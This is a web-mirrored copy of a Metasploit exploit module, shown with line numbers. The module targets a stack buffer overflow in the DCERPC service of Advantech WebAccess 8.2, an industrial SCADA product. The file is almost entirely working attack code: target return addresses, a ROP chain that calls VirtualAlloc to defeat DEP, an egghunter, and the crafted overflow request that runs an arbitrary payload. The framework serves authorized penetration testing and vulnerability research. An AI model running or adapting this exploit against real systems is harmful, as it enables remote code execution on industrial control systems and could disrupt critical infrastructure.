Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/advantech_webaccess_webvrpcs_bof.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GoodRanking
9
10
include Msf::Exploit::Remote::DCERPC
11
include Msf::Exploit::Egghunter
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow',
18
'Description' => %q{
19
This module exploits a stack buffer overflow in Advantech WebAccess 8.2.
20
By sending a specially crafted DCERPC request, an attacker could overflow
21
the buffer and execute arbitrary code.
22
},
23
'Author' => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ],
24
'License' => MSF_LICENSE,
25
'References' => [
26
[ 'ZDI', '17-938' ],
27
[ 'CVE', '2017-14016' ],
28
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ]
29
],
30
'Privileged' => true,
31
'DefaultOptions' => {
32
'EXITFUNC' => 'thread',
33
},
34
'Payload' => {
35
'Space' => 2048,
36
'BadChars' => "\x00",
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
[
41
'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31',
42
{
43
'Ret' => 0x07036cdc, # pop ebx; add esp, 994; retn 0x14
44
'Slide' => 0x07048f5b, # retn
45
'Jmp' => 0x0706067e # pop ecx; pop ecx; ret 0x04
46
}
47
],
48
],
49
'DisclosureDate' => '2017-11-02',
50
'DefaultTarget' => 0,
51
'Notes' => {
52
'Reliability' => UNKNOWN_RELIABILITY,
53
'Stability' => UNKNOWN_STABILITY,
54
'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
}
56
)
57
)
58
register_options([ Opt::RPORT(4592)])
59
end
60
61
def create_rop_chain()
62
# this target opts into dep
63
rop_gadgets =
64
[
65
0x020214c6, # POP EAX # RETN [BwKrlAPI.dll]
66
0x0203a134, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]
67
0x02032fb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll]
68
0x070738ee, # XCHG EAX,ESI # RETN [BwPAlarm.dll]
69
0x0201a646, # POP EBP # RETN [BwKrlAPI.dll]
70
0x07024822, # & push esp # ret [BwPAlarm.dll]
71
0x070442dd, # POP EAX # RETN [BwPAlarm.dll]
72
0xffffffff, # Value to negate, will become 0x00000001
73
0x070467d2, # NEG EAX # RETN [BwPAlarm.dll]
74
0x0704de61, # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll]
75
rand_text_alpha(4).unpack('V'),
76
rand_text_alpha(4).unpack('V'),
77
rand_text_alpha(4).unpack('V'),
78
0x02030af7, # POP EAX # RETN [BwKrlAPI.dll]
79
0xfbdbcbd5, # put delta into eax (-> put 0x00001000 into edx)
80
0x02029003, # ADD EAX,424442B # RETN [BwKrlAPI.dll]
81
0x0201234a, # XCHG EAX,EDX # RETN [BwKrlAPI.dll]
82
0x07078df5, # POP EAX # RETN [BwPAlarm.dll]
83
0xffffffc0, # Value to negate, will become 0x00000040
84
0x070467d2, # NEG EAX # RETN [BwPAlarm.dll]
85
0x07011e60, # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll]
86
0x0706fe66, # POP EDI # RETN [BwPAlarm.dll]
87
rand_text_alpha(4).unpack('V'),
88
rand_text_alpha(4).unpack('V'),
89
0x0703d825, # RETN (ROP NOP) [BwPAlarm.dll]
90
0x0202ca65, # POP EAX # RETN [BwKrlAPI.dll]
91
0x90909090, # nop
92
0x07048f5a, # PUSHAD # RETN [BwPAlarm.dll]
93
].flatten.pack("V*")
94
return rop_gadgets
95
end
96
97
def exploit
98
connect
99
handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
100
print_status("Binding to #{handle} ...")
101
dcerpc_bind(handle)
102
print_status("Bound to #{handle} ...")
103
104
# send the request to get the handle
105
resp = dcerpc.call(0x4, [0x02000000].pack('V'))
106
handle = resp.last(4).unpack('V').first
107
print_good("Got a handle: 0x%08x" % handle)
108
egg_options = { :eggtag => "0day" }
109
egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options)
110
111
# apparently this is called a ret chain
112
overflow = [target['Slide']].pack('V')
113
overflow << [target['Slide']].pack('V')
114
overflow << [target['Slide']].pack('V')
115
overflow << [target['Slide']].pack('V')
116
overflow << [target['Slide']].pack('V')
117
overflow << [target['Slide']].pack('V')
118
overflow << [target['Jmp']].pack('V')
119
overflow << [target['Ret']].pack('V')
120
overflow << [target['Slide']].pack('V')
121
overflow << [target['Slide']].pack('V')
122
overflow << [target['Slide']].pack('V')
123
overflow << [target['Slide']].pack('V')
124
overflow << [target['Slide']].pack('V')
125
overflow << [target['Slide']].pack('V')
126
overflow << create_rop_chain()
127
overflow << egghunter
128
overflow << egg
129
overflow << rand_text_alpha(0x1000 - overflow.length)
130
131
# sorry but I dont like msf's ndr class.
132
sploit = [handle].pack('V')
133
sploit << [0x000138bd].pack('V') # opcode we are attacking
134
sploit << [0x00001000].pack('V') # size to copy
135
sploit << [0x00001000].pack('V') # size of string
136
sploit << overflow
137
print_status("Trying target #{target.name}...")
138
begin
139
dcerpc_call(0x1, sploit)
140
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
141
ensure
142
disconnect
143
end
144
handler
145
end
146
end
147
148